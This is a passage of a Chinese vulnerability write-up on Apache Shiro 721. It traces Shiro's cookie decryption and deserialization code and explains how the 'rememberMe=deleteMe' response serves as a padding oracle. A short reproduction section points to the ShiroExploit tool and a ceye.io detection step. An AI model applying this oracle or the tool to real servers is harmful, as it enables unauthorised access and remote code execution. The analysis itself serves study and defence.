1 2 3 4 5 6 7 8 9 10 11 protected SecretKey engineGenerateKey () { SecretKeySpec var1 = null ; if (this .random == null ) { this .random = SunJCE.getRandom(); } byte [] var2 = new byte [this .keySize]; this .random.nextBytes(var2); var1 = new SecretKeySpec (var2, "AES" ); return var1; }
随机生成相应长度的key后,返回SecretKeySpec对象 最后再回到AbstractRememberMeManager的构造函数使用getEncoded方法获取密钥序列
1 2 3 public byte [] getEncoded() { return (byte [])this .key.clone(); }
Padding Oracle Attack攻击 原理:https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/ https://goodapple.top/archives/217 这是一种类似于SQL盲注的攻击方法,所以需要寻找到返回结果的不同状态Padding错误时返回的状态 : 回到AbstractRememberMeManager的解密函数
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
按照流程进入JcaCipherService类的decrypt方法,处理好iv和对应的密文后,进入重载的decrypt方法
1 2 3 4 5 6 7 8 private ByteSource decrypt (byte [] ciphertext, byte [] key, byte [] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0 )); } byte [] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
进入crypt方法
1 2 3 4 5 6 7 private byte [] crypt(byte [] bytes, byte [] key, byte [] iv, int mode) throws IllegalArgumentException, CryptoException { if (key == null || key.length == 0 ) { throw new IllegalArgumentException ("key argument cannot be null or empty." ); } javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false ); return crypt(cipher, bytes); }
进入重载方法
1 2 3 4 5 6 7 8 private byte [] crypt(javax.crypto.Cipher cipher, byte [] bytes) throws CryptoException { try { return cipher.doFinal(bytes); } catch (Exception e) { String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "]." ; throw new CryptoException (msg, e); } }
这里调用了doFinal函数对字节码进行处理,步入
1 2 3 4 5 6 7 8 9 10 public final byte [] doFinal(byte [] var1) throws IllegalBlockSizeException, BadPaddingException { this .checkCipherState(); if (var1 == null ) { throw new IllegalArgumentException ("Null input buffer" ); } else { this .chooseFirstProvider(); return this .spi.engineDoFinal(var1, 0 , var1.length); } }
这个方法会抛出两个异常,分别是IllegalBlockSizeException(块大小异常)和BadPaddingException(填充错误异常),这里使用的是throws,会将异常抛至上一层方法,逐层往上,直到getRememberedPrincipals方法中使用onRememberedPrincipalFailure进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
进入onRememberedPrincipalFailure方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected PrincipalCollection onRememberedPrincipalFailure (RuntimeException e, SubjectContext context) { if (log.isWarnEnabled()) { String message = "There was a failure while trying to retrieve remembered principals. This could be due to a " + "configuration problem or corrupted principals. This could also be due to a recently " + "changed encryption key, if you are using a shiro.ini file, this property would be " + "'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " + "The remembered identity will be forgotten and not used for this request." ; log.warn(message); } forgetIdentity(context); throw e; }
此方法调用了forgetIdentity方法进行处理
1 2 3 private void forgetIdentity (HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response); }
removeFrom方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void removeFrom (HttpServletRequest request, HttpServletResponse response) { String name = getName(); String value = DELETED_COOKIE_VALUE; String comment = null ; String domain = getDomain(); String path = calculatePath(request); int maxAge = 0 ; int version = getVersion(); boolean secure = isSecure(); boolean httpOnly = false ; addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly); log.trace("Removed '{}' cookie by setting maxAge=0" , name); }
removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe
Padding正确,反序列化失败 : 在DefaultSerializer类的反序列化函数中进行了处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialize argument byte array." ; throw new SerializationException (msg, e); } }
但对于Java来说,反序列化是以Stream的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化两种状态 :
padding正确,服务器给出正确响应
padding错误,服务器返回Set-Cookie: rememberMe=deleteMe
漏洞复现 使用工具ShiroExploit v2.51:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51 输入网址及用户登录成功的Cookie 然后选择“使用ceye.io进行漏洞检测”,点击下一步开始攻击
参考 Java反序列化漏洞——Shiro721 - 枫のBlog (goodapple.top) CBC字节翻转攻击&Padding Oracle Attack原理解析 - 枫のBlog (goodapple.top) padding oracle和cbc翻转攻击 · sky’s blog (skysec.top) Shiro 历史漏洞分析
注:本文首发于https://xz.aliyun.com/t/13059